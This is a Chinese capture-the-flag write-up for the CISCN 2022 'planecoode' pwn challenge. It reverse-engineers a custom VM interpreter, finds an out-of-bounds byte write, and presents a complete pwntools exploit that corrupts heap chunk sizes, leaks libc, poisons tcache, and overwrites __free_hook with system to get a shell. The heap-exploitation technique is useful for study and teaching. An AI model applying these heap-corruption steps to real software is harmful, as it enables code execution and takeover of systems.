# CISCN_2022 planecoode
这个题目算是一个 llvm 的题目,对于我们输入的 code 进行解析操作,但是逆向的工程量很大,设计了很多 if,else 的模块,对应众多的操作。而且并不是说常规 vm 那种可以解析出常见汇编指令格式的操作码。而且使用了很多数据的转换操作,比如 BYTE1~BYTE5,HIBYTE,LOBYTE 等等,这些东西是我们必须回的东西。
然后经过我长时间的解析,大概猜出来了流程,我们指定最开始的 xy, 这是边界限制,申请出来 8*x*y 字节的空间,然后对应的 (x,y) 的位置是一个 code,code 为 8 字节 64 位,储存在上述空间,然后开辟一个 x*y 大小的 stack,用来储存数据。
下面的就是对于 code 解析处理,我们看到每次处理都是以 8 字节位单位,根据 x,y 来取指令,我们最简单的无疑是顺序取指。如何实现顺序取指?我们看看取指令的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 entry () { __int64 result; void *vale; init_SIZE(); map = (__int64 **)init_map(size_X, size_Y); set_code_data(); sub_E91(); sub_1583(); do { vale = (void *)get_value_fromXY((__int64)map , size_X, size_Y, x_temp, y_temp); result = operation(vale); } while ( result ); return result; }
这里是函数的主入口,我们重点关注取指令跟 x,y 的关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 __int64 __fastcall get_value_fromXY (__int64 map , unsigned int XN, unsigned int YN, unsigned int x, unsigned int y) { __int64 result; __int64 pos; pos = get_pos(map , XN, YN, x, y); if ( pos ) result = get_code(pos); else result = 0LL ; return result; } __int64 __fastcall get_pos (__int64 map , unsigned int XN, unsigned int YN, unsigned int x, unsigned int y) { __int64 result; __int64 pos; pos = check(XN, YN, x, y); if ( pos == -1 ) result = 0LL ; else result = 8 * pos + map ; return result; } __int64 __fastcall check (unsigned int XN, unsigned int YN, unsigned int x, unsigned int y) { __int64 result; if ( x < XN && y < YN ) result = XN * y + x; else result = -1LL ; return result; }
最内部是对我们提供的用来定位的 xy 的检查,然后 XN 是我们最开始输入的 x 的范围,因为我们确定了我们要顺序取指,所以,我这里直接将 YN 设置 1,将一个 2 维矩阵简化为以为的顺序,然后我们提供的初始位置都是从 0 开始,(0,0)并且下次取指只要对 x 进行加 1 的操作,y 一直为 0,这样从原来的 code [y][x] 直接简化为 code [x]。但是本质没有差别,知识实现了代码操作的简化。我们填入的 code,每次都会通过 strtoul (s, 0LL, 10) 转化为无符号的整数,储存在 64 位的空间中,这也是为什么我们 code 的空间是 8*x*y。
接下来就是对 code 的解析,这一部分是最恶心的,太多种情况了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 __int64 result; int n; void *buf; __int64 s; __int64 canary; canary = __readfsqword(0x28 u); memset (&s, 0 , sizeof (s)); s = code; if ( (unsigned __int8)code == 0x54 ) { printf ("{%c}" , (unsigned int )*(char *)sRSP); goto LABEL_55; } if ( (unsigned __int8)code > 0x54 u ) { if ( (unsigned __int8)code == 0xCC ) { pop_(1u ); goto LABEL_55; } if ( (unsigned __int8)code > 0xCC u ) { if ( (unsigned __int8)code != 0xD0 ) { if ( (unsigned __int8)code > 0xD0 u ) { if ( (unsigned __int8)code == 0xD1 ) return 0LL ; if ( (unsigned __int8)code == 0xDA && *(int *)((char *)&s + 1 ) < size_X * size_Y ) *(_BYTE *)(sRSP + *(int *)((char *)&s + 1 )) = BYTE5(s); } else if ( (unsigned __int8)code == 0xCD ) { buf = malloc (BYTE1(s)); printf ("content: " ); n = read(0 , buf, BYTE1(s)); if ( n > 0 && *((_BYTE *)buf + n - 1 ) == '\n' ) *((_BYTE *)buf + n - 1 ) = 0 ; printf ("You say \"%s\"\n" , (const char *)buf); free (buf); } goto LABEL_55; } } else { if ( (unsigned __int8)code == 0x98 ) { pop_(4u ); goto LABEL_55; } if ( (unsigned __int8)code != 0xCA ) { if ( (unsigned __int8)code == 0x6A ) { *(_BYTE *)sRSP -= BYTE1(s); rsp_add_1(1u ); } goto LABEL_55; } } *(_BYTE *)sRSP = BYTE1(s); rsp_add_1(1u ); goto LABEL_55; } if ( (unsigned __int8)code == 54 ) { *(_BYTE *)sRSP = sub_CBE(); rsp_add_1(1u ); } else if ( (unsigned __int8)code > 0x36 u ) { if ( (unsigned __int8)code == 0x45 ) { *(_BYTE *)sRSP = BYTE1(s); rsp_add_1(1u ); *(_BYTE *)sRSP = BYTE2(s); rsp_add_1(1u ); *(_BYTE *)sRSP = BYTE3(s); rsp_add_1(1u ); *(_BYTE *)sRSP = BYTE4(s); rsp_add_1(1u ); } else if ( (unsigned __int8)code > 0x45 u ) { if ( (unsigned __int8)code == 73 ) { if ( (BYTE2(s) << 8 ) + (unsigned int )BYTE1(s) <= size_X && (BYTE4(s) << 8 ) + (unsigned int )BYTE3(s) <= size_Y ) { x_temp = (BYTE2(s) << 8 ) + BYTE1(s); y_temp = (BYTE4(s) << 8 ) + BYTE3(s); } } else if ( (unsigned __int8)code == 82 ) { *(_BYTE *)sRSP += BYTE1(s); rsp_add_1(1u ); } } else if ( (unsigned __int8)code == 65 && BYTE1(s) ) { *(_BYTE *)sRSP = *(char *)sRSP / (__int16)BYTE1(s); rsp_add_1(1u ); } } else { switch ( (unsigned __int8)code ) { case 0x13 u: if ( chance <= 0 ) return 0LL ; set_code_data(); sub_E91(); --chance; return 1LL ; case 0x33 u: *(_BYTE *)sRSP ^= BYTE1(s); rsp_add_1(1u ); break ; case 0x12 u: *(_BYTE *)sRSP *= BYTE1(s); rsp_add_1(1u ); break ; } } LABEL_55: switch ( HIBYTE(s) ) { case 1 : sub_F6F(-1 , -1 ); goto LABEL_65; case 2 : sub_F6F(0 , -1 ); goto LABEL_65; case 3 : sub_F6F(1 , -1 ); goto LABEL_65; case 4 : sub_F6F(-1 , 0 ); goto LABEL_65; case 6 : sub_F6F(1 , 0 ); goto LABEL_65; case 7 : sub_F6F(-1 , 1 ); goto LABEL_65; case 8 : sub_F6F(0 , 1 ); goto LABEL_65; case 9 : sub_F6F(1 , 1 ); LABEL_65: result = 1LL ; break ; default : puts ("End!" ); result = 0LL ; break ; } return result; }
看着这一摊东西,忍不住骂娘。
先看最简单的,如何实现移动,也就是对 x,y 的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 switch ( HIBYTE(s) ) { case 1 : sub_F6F(-1 , -1 ); goto LABEL_65; case 2 : sub_F6F(0 , -1 ); goto LABEL_65; case 3 : sub_F6F(1 , -1 ); goto LABEL_65; case 4 : sub_F6F(-1 , 0 ); goto LABEL_65; case 6 : sub_F6F(1 , 0 ); goto LABEL_65; case 7 : sub_F6F(-1 , 1 ); goto LABEL_65; case 8 : sub_F6F(0 , 1 ); goto LABEL_65; case 9 : sub_F6F(1 , 1 ); LABEL_65: result = 1LL ; break ; default : puts ("End!" ); result = 0LL ; break ;
这里的 s 就是我们的 code,首先这个 HIBYTE 就烦人,一开始对所有的 BYTE 都不理解。这里呢会根据传进去的数据,返回 16 进制数的最高位,也就是说会返回我们写入的 code 第 8 字节,联系上问提到的,顺序取值,只要修改 x, 即令 code 的最高位为 6。
除去这部分,就是对指令代码的解析,最低字节为操作码,其余为数据。先说明下怎么操作,大部分都是对栈顶中的数据进行操作,(这点我有些不理解,因为这栈顶的数据应该都是 0 啊。)然后操作码大致被分为三类,小于 0x36, 小于 0x54, 大于 0x54
小于等于 0x36 的这部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 switch ( (unsigned __int8)code ) { case 0x13 u: if ( chance <= 0 ) return 0LL ; set_code_data(); sub_E91(); --chance; return 1LL ; case 0x33 u: *(_BYTE *)sRSP ^= BYTE1(s); rsp_add_1(1u ); break ; case 0x12 u: *(_BYTE *)sRSP *= BYTE1(s); rsp_add_1(1u ); break ; } if ( (unsigned __int8)code == 0x36 ) { *(_BYTE *)sRSP = sub_CBE(); rsp_add_1(1u ); }
大于 0x36,小于 0x54 的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 else if ( (unsigned __int8)code > 0x36 u ) { if ( (unsigned __int8)code == 0x45 ) { *(_BYTE *)sRSP = BYTE1(s); rsp_add_1(1u ); *(_BYTE *)sRSP = BYTE2(s); rsp_add_1(1u ); *(_BYTE *)sRSP = BYTE3(s); rsp_add_1(1u ); *(_BYTE *)sRSP = BYTE4(s); rsp_add_1(1u ); } else if ( (unsigned __int8)code > 0x45 u ) { if ( (unsigned __int8)code == 73 ) { if ( (BYTE2(s) << 8 ) + (unsigned int )BYTE1(s) <= size_X && (BYTE4(s) << 8 ) + (unsigned int )BYTE3(s) <= size_Y ) { x_temp = (BYTE2(s) << 8 ) + BYTE1(s); y_temp = (BYTE4(s) << 8 ) + BYTE3(s); } } else if ( (unsigned __int8)code == 0x52 ) { *(_BYTE *)sRSP += BYTE1(s); rsp_add_1(1u ); } } else if ( (unsigned __int8)code == 0x41 && BYTE1(s) ) { *(_BYTE *)sRSP = *(char *)sRSP / (__int16)BYTE1(s); rsp_add_1(1u ); } }
大于等于 0x54 的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 if ( (unsigned __int8)code == 0x54 ) { printf ("{%c}" , (unsigned int )*(char *)sRSP); goto LABEL_55; } if ( (unsigned __int8)code > 0x54 u ){ if ( (unsigned __int8)code == 0xCC ) { pop_(1u ); goto LABEL_55; } if ( (unsigned __int8)code > 0xCC u ) { if ( (unsigned __int8)code != 0xD0 ) { if ( (unsigned __int8)code > 0xD0 u ) { if ( (unsigned __int8)code == 0xD1 ) return 0LL ; if ( (unsigned __int8)code == 0xDA && *(int *)((char *)&s + 1 ) < size_X * size_Y ) *(_BYTE *)(sRSP + *(int *)((char *)&s + 1 )) = BYTE5(s); } else if ( (unsigned __int8)code == 0xCD ) { buf = malloc (BYTE1(s)); printf ("content: " ); n = read(0 , buf, BYTE1(s)); if ( n > 0 && *((_BYTE *)buf + n - 1 ) == '\n' ) *((_BYTE *)buf + n - 1 ) = 0 ; printf ("You say \"%s\"\n" , (const char *)buf); free (buf); } goto LABEL_55; } } else { if ( (unsigned __int8)code == 0x98 ) { pop_(4u ); goto LABEL_55; } if ( (unsigned __int8)code != 0xCA ) { if ( (unsigned __int8)code == 0x6A ) { *(_BYTE *)sRSP -= BYTE1(s); rsp_add_1(1u ); } goto LABEL_55; } } *(_BYTE *)sRSP = BYTE1(s); rsp_add_1(1u ); goto LABEL_55; }
基本的运算都是字节进行操作,
0x12 乘法运算
0x13 重置 code,x,y,只有一次机会,利用的是原来的空间
0x33 异或运算
0x36 push 一字节的数据,数据来源于输入,我们输入 48 字节的数据,但是只用一字节,
0x41 除法运算
0x45 push 4 字节的数据
0x49 设置 x,y, 跳转至目标位置 code,第 2,3 字节用于 x,4,5 字节用于 y。
0x52 加法运算
0x54 输出一字节栈顶的数据
0x6a 减法运算
0x98 pop 4 字节的数据
0xcc pop 一字节的数据
0xcd 读入 content 并且输出,虽然检查换行,但是满输入可以泄露地址。malloc 的参数只有一字节,所以 chunk 的大小为 0x20-0xf0。free 后没有情空指针。但是未发现 uaf
0xd1 程序结束
0xda rsp+offset 的位置写一字节的数据。这里存在数组越界,因为只会检查 offset 是否超过 X*Y 的范围,但是没有考虑到如果加上 rsp 的条件
因为他这个栈顶是有点问题的,栈空间已经被初始化为空的,大部分操作都会对 rsp+1,所以理论上栈顶的数据都是空的,一次 pop 也是空的。pop 要满足里面至少有一个数据,rsp-rbp>=1, 但是 push 的操作不会检查是否溢出和越界。pop 只会更改 rsp 指向,但不会改变原始数据。
这个题最大问题就在与 0xda,正常来说,我们应该只能改变他所定义的那个类似于栈的空间的数据,那么应该是 rbp+offset,但是这里写的是 rsp,就导致了,如果我们的 XN*YN 比较大,offset 可以轻松绕过检查,但是我们将他的 stack 填充很多垃圾,rsp 距离下一个堆块比较近,就导致了 rsp+offset 越界了,起码可以修改到下一个 chunk 的 size。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(jmp(0 ,0 )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(jmp(0 ,1 ))
思路就是我们通过 push (imm32) 来将 rsp 变得比较大,下面的 chunk 最开始是未分配,还是 topchunk,而程序会连续的 malloc,free 用于储存 content 的 chunk。我已为了构造一个较大的空间,我们连续的申请出 0x10,0x20,0x30,0x40…0xe0 的空间用看来布置 fakechunk.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55a9a9e79000 Size: 0x251 Allocated chunk | PREV_INUSE Addr: 0x55a9a9e79250 Size: 0x331 Allocated chunk | PREV_INUSE Addr: 0x55a9a9e79580 Size: 0x71 Free chunk (tcache) | PREV_INUSE Addr: 0x55a9a9e795f0 Size: 0x21 fd: 0x00 Free chunk (tcache) | PREV_INUSE Addr: 0x55a9a9e79610 Size: 0x31 fd: 0x00 ~~~~~ Free chunk (tcache) | PREV_INUSE Addr: 0x55a9a9e79ac0 Size: 0xd1 fd: 0x00 Free chunk (tcache) | PREV_INUSE Addr: 0x55a9a9e79b90 Size: 0xe1 fd: 0x00 Top chunk | PREV_INUSE Addr: 0x55a9a9e79c70 Size: 0x20391 pwndbg>
通过溢出,我们修改第一个 chunk 的 size 为 largebin 的范围.
1 2 code.append(write(0x21 ,0x4 )) code.append(write(0x20 ,0xd1 ))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 结果如下, pwndbg> x/28gx 0x55a9a9e79580 0x55a9a9e79580: 0x0000000000000000 0x0000000000000071 0x55a9a9e79590: 0xffffffffffffffff 0xffffffffffffffff 0x55a9a9e795a0: 0xffffffffffffffff 0xffffffffffffffff 0x55a9a9e795b0: 0xffffffffffffffff 0xffffffffffffffff 0x55a9a9e795c0: 0xffffffffffffffff 0xffffffffffffffff 0x55a9a9e795d0: 0xffffffffffffffff 0x0000000000000000 0x55a9a9e795e0: 0x0000000000000000 0x00000000000000ee 0x55a9a9e795f0: 0x0000000000000000 0x00000000000004d1 0x55a9a9e79600: 0x0000000000000000 0x000055a9a9e79010 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55a9a9e79000 Size: 0x251 Allocated chunk | PREV_INUSE Addr: 0x55a9a9e79250 Size: 0x331 Allocated chunk | PREV_INUSE Addr: 0x55a9a9e79580 Size: 0x71 Allocated chunk | PREV_INUSE Addr: 0x55a9a9e795f0 Size: 0x4d1 Free chunk (tcache) | PREV_INUSE Addr: 0x55a9a9e79ac0 Size: 0xd1 fd: 0x00 Free chunk (tcache) | PREV_INUSE Addr: 0x55a9a9e79b90 Size: 0xe1 fd: 0x00
这样释放的时候,就不会进入 tcache。而是进入 unsortedbins,对于 content,会检查换行符,但是如果我们申请的是 8 字节,虽然同样会返回 0x20 的空间,但是,chunk 的 bk 可以被 % s 通泄露出来.(因为原本 0x20 的 chunk 被我们修改为 laegechunk 进入 unsortedbins),tcache 没有符合要求的 chunk, 从 unsortedbins 里切割出来,bk 可以泄露 libc 的地址。
下面的操作原理跟上面的一样,因为我们连续申请的一系列 chunk,存在 tcache 里面,所以,再次利用刚刚从 unsortedbins 切割出来的 chunk,(堆头和我们最开始 malloc (0x10) 一样,刚刚我们申请出来 0x20 的空间,接着马上被释放进入了 tcache,此时,tcache 的 bins 种都有一个 chunk, 我们希望通过修改其 fd 来获取目标地址。所以,我们还是把 0x20 的 chunk 拿出来,总比不过,我们向让她出来就不要再回去 0x20 的 tcachebin,而是其他位置,所以我们申请之前,再次通过越界修改他的 chunsize,我这里修改为 0x41, 这样再次申请释放后,其进入对应的 bins,fd 不为空。我这里并没有把 chunk 放入 unsortedbins 后直接申请 8 字节的空间,而是 malloc (0xf0),下一次在 malloc (0x8),结果是一样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 修改前 Free chunk (tcache) | PREV_INUSE Addr: 0x5640fd90c5f0 Size: 0x101 fd: 0x00 0x30 [ 1]: 0x5640fd90c620 ◂— 0x11 0x40 [ 1]: 0x5640fd90c650 ◂— 0x11 0x50 [ 1]: 0x5640fd90c690 ◂— 0x11 0x60 [ 1]: 0x5640fd90c6e0 ◂— 0x0 0x70 [ 1]: 0x5640fd90c740 ◂— 0x0 0x80 [ 1]: 0x5640fd90c7b0 ◂— 0x0 0x90 [ 1]: 0x5640fd90c830 ◂— 0x0 0xa0 [ 1]: 0x5640fd90c8c0 ◂— 0x0 0xb0 [ 1]: 0x5640fd90c960 ◂— 0x0 0xc0 [ 1]: 0x5640fd90ca10 ◂— 0x0 0xd0 [ 1]: 0x5640fd90cad0 ◂— 0x0 0xe0 [ 1]: 0x5640fd90cba0 ◂— 0x0 0x100 [ 1]: 0x5640fd90c600 ◂— 0x0 修改后申请、释放 0x20 [ 1]: 0x5640fd90c700 ◂— 0x0 0x30 [ 1]: 0x5640fd90c620 ◂— 0x0 0x40 [ 2]: 0x5640fd90c600 —▸ 0x5640fd90c650 ◂— 0x0 0x50 [ 1]: 0x5640fd90c690 ◂— 0x11 0x60 [ 1]: 0x5640fd90c6e0 ◂— 0x0 0x70 [ 1]: 0x5640fd90c740 ◂— 0x0 0x80 [ 1]: 0x5640fd90c7b0 ◂— 0x0 0x90 [ 1]: 0x5640fd90c830 ◂— 0x0 0xa0 [ 1]: 0x5640fd90c8c0 ◂— 0x0 0xb0 [ 1]: 0x5640fd90c960 ◂— 0x0 0xc0 [ 1]: 0x5640fd90ca10 ◂— 0x0 0xd0 [ 1]: 0x5640fd90cad0 ◂— 0x0 0xe0 [ 1]: 0x5640fd90cba0 ◂— 0x0
然后,我们还是通过越界,这次直接修改 chunk 的 fd 指针指向__free_hook-8, 因为 malloc 之后,会紧接着就释放 chunk,我们需要同时完成__free_hook 改写为 system,还要保证指针指向的内容是 “/bin/sh\x00”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> bins tcachebins 0x20 [ 1]: 0x55bd2778d700 ◂— 0x0 0x30 [ 1]: 0x55bd2778d620 ◂— 0x0 0x40 [ 2]: 0x55bd2778d600 —▸ 0x7fd5cab318e0 (__after_morecore_hook) ◂— 0x0 0x50 [ 1]: 0x55bd2778d690 ◂— 0x11 0x60 [ 1]: 0x55bd2778d6e0 ◂— 0x0 0x70 [ 1]: 0x55bd2778d740 ◂— 0x0 0x80 [ 1]: 0x55bd2778d7b0 ◂— 0x0 0x90 [ 1]: 0x55bd2778d830 ◂— 0x0 0xa0 [ 1]: 0x55bd2778d8c0 ◂— 0x0 0xb0 [ 1]: 0x55bd2778d960 ◂— 0x0 0xc0 [ 1]: 0x55bd2778da10 ◂— 0x0 0xd0 [ 1]: 0x55bd2778dad0 ◂— 0x0 0xe0 [ 1]: 0x55bd2778dba0 ◂— 0x0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> bins tcachebins 0x20 [ 1]: 0x55bd2778d700 ◂— 0x0 0x30 [ 1]: 0x55bd2778d620 ◂— 0x0 0x40 [ 1]: 0x7fd5cab318e0 (__after_morecore_hook) ◂— 0x0 0x50 [ 1]: 0x55bd2778d690 ◂— 0x11 0x60 [ 1]: 0x55bd2778d6e0 ◂— 0x0 0x70 [ 1]: 0x55bd2778d740 ◂— 0x0 0x80 [ 1]: 0x55bd2778d7b0 ◂— 0x0 0x90 [ 1]: 0x55bd2778d830 ◂— 0x0 0xa0 [ 1]: 0x55bd2778d8c0 ◂— 0x0 0xb0 [ 1]: 0x55bd2778d960 ◂— 0x0 0xc0 [ 1]: 0x55bd2778da10 ◂— 0x0 0xd0 [ 1]: 0x55bd2778dad0 ◂— 0x0 0xe0 [ 1]: 0x55bd2778dba0 ◂— 0x0 0x100 [ 1]: 0x55bd2778d600 ◂— 0x0
最后的效果
1 2 3 pwndbg> tel 0x7fd5cab318e0 00:0000│ rsi 0x7fd5cab318e0 (__after_morecore_hook) ◂— 0x68732f6e69622f /* '/bin/sh' */ 01:0008│ 0x7fd5cab318e8 (__free_hook) —▸ 0x7fd5ca793420 (system)
# 完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 from pwn import *r=process('./planecoode' ) elf =ELF('./planecoode' ) libc = elf.libc incx = 0x0600000000000000 def pop1 (): payload = incx + 0xcc return payload def po4 (): payload =incx +0x98 return payload def mul (i ): payload = incx + 0x12 + i<<8 return payload def reset (): payload = incx + 0x13 return payload def xor (i ): payload = incx +0x33 + i<<8 return payload def push1 (): payload = incx + 0x36 return payload def div (i ): payload = incx + 0x41 + i<<8 return payload def push4 (i ): payload = incx +0x45 +i*0x100 return payload def jmp (x,y ): payload = 0x0800000000000000 + 0x49 + (y*0x1000000 ) return payload def add (i ): payload = incx + 0x52 + i*0x100 return payload def sub (i ): payload = incx + 0x6a + i*0x100 return payload def printc (): payload = incx + 0x54 return payload def malloc (n ): payload = incx + 0xcd +n*0x100 return payload def exit (): return incx + 0xd1 def write (wh,content ): payload = incx + 0xda + wh*0x100 +content*0x10000000000 return payload def decX (): paylaod = 0x0400000000000000 return payload def incy (): payload = 0x0800000000000000 code = [] code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(jmp(0 ,0 )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(push4(0xffffffff )) code.append(jmp(0 ,1 )) code.append(malloc(0x10 )) code.append(malloc(0x20 )) code.append(malloc(0x30 )) code.append(malloc(0x40 )) code.append(malloc(0x50 )) code.append(malloc(0x60 )) code.append(malloc(0x70 )) code.append(malloc(0x80 )) code.append(malloc(0x90 )) code.append(jmp(0 ,2 )) code.append(malloc(0xa0 )) code.append(malloc(0xb0 )) code.append(malloc(0xc0 )) code.append(malloc(0xd0 )) code.append(write(0x21 ,0x4 )) code.append(write(0x20 ,0xd1 )) code.append(write(0x10 ,0xee )) code.append(malloc(0x8 )) code.append(write(0x10 ,0xee )) code.append(jmp(0 ,3 )) code.append(malloc(0xf0 )) code.append(malloc(0x8 )) code.append(write(0x21 ,0x0 )) code.append(write(0x20 ,0x41 )) code.append(malloc(0xf0 )) code.append(reset()) print (len (code))nums = len (code) Xn = 10 Yn = 10 r.sendlineafter("size X:" ,str (Xn)) r.sendlineafter("size Y:" ,str (Yn)) r.sendlineafter("How many codes do you want to set?" ,str (nums)) x=0 y=0 for i in range (nums): r.sendlineafter("X:" ,str (x)) r.sendlineafter("Y:" ,str (y)) r.sendlineafter("Code:" ,str (code[i])) print ("\033[1;35m [+] : " +str (hex (code[i])+"\033[0m" )) x +=1 if x == Xn: y+=1 x=0 r.sendlineafter("Start X:" ,str (0 )) r.sendlineafter("Start Y:" ,str (0 )) fake = p64(0 )+p64(0x11 ) for i in range (1 ,0xe ,1 ): r.sendlineafter("content:" ,fake*i) r.sendafter("content:" ,b'X' *8 ) r.recvuntil(b"X" *8 ) libc_base = u64(r.recv(6 ).ljust(8 ,b'\x00' ))-0x3ebca0 free_hook = libc_base + 0x3ed8e8 system = libc_base + 0x04f420 print ("\033[1;35m [+] libc_base : " +str (hex (libc_base)+"\033[0m" ))print ("\033[1;35m [+] free_hook : " +str (hex (free_hook)+"\033[0m" ))print ("\033[1;35m [+] system : " +str (hex (system)+"\033[0m" ))r.sendlineafter("content:" ,p64(0 )*1 +p64(0x31 )+p64(0 )*7 +p64(0x41 )) newcode = [] key=free_hook-0x8 newcode.append(write(0x21 ,0x1 )) newcode.append(write(0x21 ,0x1 )) newcode.append(write(0x20 ,0x01 )) newcode.append(write(0x28 ,key&0xff )) key = key>>8 newcode.append(write(0x29 ,key&0xff )) key = key>>8 newcode.append(write(0x2a ,key&0xff )) key = key>>8 newcode.append(write(0x2b ,key&0xff )) key = key>>8 newcode.append(write(0x2c ,key&0xff )) key = key>>8 newcode.append(write(0x2d ,key&0xff )) newcode.append(jmp(0 ,0 )) newcode.append(malloc(0x30 )) newcode.append(malloc(0x30 )) r.sendlineafter("How many codes do you want to set? " ,str (len (newcode))) x=0 y=0 for i in range (len (newcode)): r.sendlineafter("X:" ,str (x)) r.sendlineafter("Y:" ,str (y)) r.sendlineafter("Code:" ,str (newcode[i])) print ("\033[1;35m [+] : " +str (hex (newcode[i])+"\033[0m" )) x +=1 if x == Xn: y+=1 x=0 r.sendlineafter("Start X:" ,str (0 )) gdb.attach(r,'brva 0x0139D' ) pause() r.sendlineafter("Start Y:" ,str (0 )) r.sendlineafter("content:" ,b'aaaaaa\n' ) r.sendlineafter("content:" ,b"/bin/sh\x00" +p64(system)) r.interactive()
# 备注:
因为博客环境搭建问题,不能上传图片和文件包,需要题目及 ida 的逆向文件的朋友,可联系 QQ3263367390